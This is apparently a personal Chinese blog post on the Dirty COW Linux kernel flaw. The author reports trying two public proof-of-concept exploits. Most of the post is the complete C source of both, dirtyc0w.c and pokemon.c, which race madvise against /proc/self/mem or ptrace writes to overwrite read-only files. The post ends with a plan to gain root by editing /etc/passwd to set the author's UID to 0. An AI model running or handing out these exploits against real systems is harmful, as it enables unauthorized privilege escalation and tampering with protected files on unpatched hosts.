dirtycow漏洞
dirtycow漏洞,原理还没看懂,找了几个PoC实验了一下。
dirtyc0w.c我在CentOS和Kali上都失败了
pokemon.c在CentOS上成功修改了只读文件,不过修改的不是很顺利,结尾总是有其他字符。
dirtyc0w.c
1 /* 2 ####################### dirtyc0w.c ####################### 3 $ sudo -s 4 # echo this is not a test > foo 5 # chmod 0404 foo 6 $ ls -lah foo 7 -r-----r-- 1 root root 19 Oct 20 15:23 foo 8 $ cat foo 9 this is not a test 10 $ gcc -pthread dirtyc0w.c -o dirtyc0w 11 $ ./dirtyc0w foo m00000000000000000 12 mmap 56123000 13 madvise 0 14 procselfmem 1800000000 15 $ cat foo 16 m00000000000000000 17 ####################### dirtyc0w.c ####################### 18 */ 19 #include <stdio.h> 20 #include <sys/mman.h> 21 #include <fcntl.h> 22 #include <pthread.h> 23 #include <unistd.h> 24 #include <sys/stat.h> 25 #include <string.h> 26 #include <stdint.h> 27 28 void *map; 29 int f; 30 struct stat st; 31 char *name; 32 33 void *madviseThread(void *arg) 34 { 35 char *str; 36 str=(char*)arg; 37 int i,c=0; 38 for(i=0;i<100000000;i++) 39 { 40 /* 41 You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 42 > This is achieved by racing the madvise(MADV_DONTNEED) system call 43 > while having the page of the executable mmapped in memory. 44 */ 45 c+=madvise(map,100,MADV_DONTNEED); 46 } 47 printf("madvise %d\n\n",c); 48 } 49 50 void *procselfmemThread(void *arg) 51 { 52 char *str; 53 str=(char*)arg; 54 /* 55 You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 56 > The in the wild exploit we are aware of doesn't work on Red Hat 57 > Enterprise Linux 5 and 6 out of the box because on one side of 58 > the race it writes to /proc/self/mem, but /proc/self/mem is not 59 > writable on Red Hat Enterprise Linux 5 and 6. 60 */ 61 int f=open("/proc/self/mem",O_RDWR); 62 int i,c=0; 63 for(i=0;i<100000000;i++) { 64 /* 65 You have to reset the file pointer to the memory position. 66 */ 67 lseek(f,(uintptr_t) map,SEEK_SET); 68 c+=write(f,str,strlen(str)); 69 } 70 printf("procselfmem %d\n\n", c); 71 } 72 73 74 int main(int argc,char *argv[]) 75 { 76 /* 77 You have to pass two arguments. File and Contents. 78 */ 79 if (argc<3) { 80 (void)fprintf(stderr, "%s\n", 81 "usage: dirtyc0w target_file new_content"); 82 return 1; } 83 pthread_t pth1,pth2; 84 /* 85 You have to open the file in read only mode. 86 */ 87 f=open(argv[1],O_RDONLY); 88 fstat(f,&st); 89 name=argv[1]; 90 /* 91 You have to use MAP_PRIVATE for copy-on-write mapping. 92 > Create a private copy-on-write mapping. Updates to the 93 > mapping are not visible to other processes mapping the same 94 > file, and are not carried through to the underlying file. It 95 > is unspecified whether changes made to the file after the 96 > mmap() call are visible in the mapped region. 97 */ 98 /* 99 You have to open with PROT_READ. 100 */ 101 map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); 102 printf("mmap %zx\n\n",(uintptr_t) map); 103 /* 104 You have to do it on two threads. 105 */ 106 pthread_create(&pth1,NULL,madviseThread,argv[1]); 107 pthread_create(&pth2,NULL,procselfmemThread,argv[2]); 108 /* 109 You have to wait for the threads to finish. 110 */ 111 pthread_join(pth1,NULL); 112 pthread_join(pth2,NULL); 113 return 0; 114 }
pokemon.c
1 // $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball 2 #include <fcntl.h> //// pikachu 3 #include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball 4 #include <string.h> //// pokeball 5 #include <stdio.h> //// (___) 6 #include <stdint.h> //// (o o)_____/ 7 #include <sys/mman.h> //// @@ ` \ 8 #include <sys/types.h> //// \ ____, /miltank 9 #include <sys/stat.h> //// // // 10 #include <sys/wait.h> //// ^^ ^^ 11 #include <sys/ptrace.h> //// mmap bc757000 12 #include <unistd.h> //// madvise 0 13 ////////////////////////////////////////////// ptrace 0 14 ////////////////////////////////////////////// miltank 15 ////////////////////////////////////////////// 16 int f ;// file descriptor 17 void *map ;// memory map 18 pid_t pid ;// process id 19 pthread_t pth ;// thread 20 struct stat st ;// file info 21 ////////////////////////////////////////////// 22 void *madviseThread(void *arg) {// madvise thread 23 int i,c=0 ;// counters 24 for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8 25 c+=madvise(map,100,MADV_DONTNEED) ;// race condition 26 printf("madvise %d\n\n",c) ;// sum of errors 27 }// /madvise thread 28 ////////////////////////////////////////////// 29 int main(int argc,char *argv[]) {// entrypoint 30 if(argc<3)return 1 ;// ./d file contents 31 printf("%s \n\ 32 (___) \n\ 33 (o o)_____/ \n\ 34 @@ ` \\ \n\ 35 \\ ____, /%s \n\ 36 // // \n\ 37 ^^ ^^ \n\ 38 ", argv[1], argv[2]) ;// dirty cow 39 f=open(argv[1],O_RDONLY) ;// open read only file 40 fstat(f,&st) ;// stat the fd 41 map=mmap(NULL ,// mmap the file 42 st.st_size+sizeof(long) ,// size is filesize plus padding 43 PROT_READ ,// read-only 44 MAP_PRIVATE ,// private mapping for cow 45 f ,// file descriptor 46 0) ;// zero 47 printf("mmap %lx\n\n",(unsigned long)map);// sum of error code 48 pid=fork() ;// fork process 49 if(pid) {// if parent 50 waitpid(pid,NULL,0) ;// wait for child 51 int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length) 52 for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l 53 for(o=0;o<l;o++)//////////////////////// repeat for each byte 54 for(u=0;u<10000;u++)////////////////// try 10K times each time 55 c+=ptrace(PTRACE_POKETEXT ,// inject into memory 56 pid ,// process id 57 map+o ,// address 58 *((long*)(argv[2]+o))) ;// value 59 printf("ptrace %d\n\n",c) ;// sum of error code 60 }// otherwise 61 else {// child 62 pthread_create(&pth ,// create new thread 63 NULL ,// null 64 madviseThread ,// run madviseThred 65 NULL) ;// null 66 ptrace(PTRACE_TRACEME) ;// stat ptrace on child 67 kill(getpid(),SIGSTOP) ;// signal parent 68 pthread_join(pth,NULL) ;// wait for thread 69 }// / child 70 return 0 ;// return 71 }// / entrypoint 72 //////////////////////////////////////////////
提权的思路大概是修改/etc/passwd然后给自己的账户的UID改成0。目前用pokemon.c写入大段文字只写了一行,没有换行,可能是\n\r这种问题。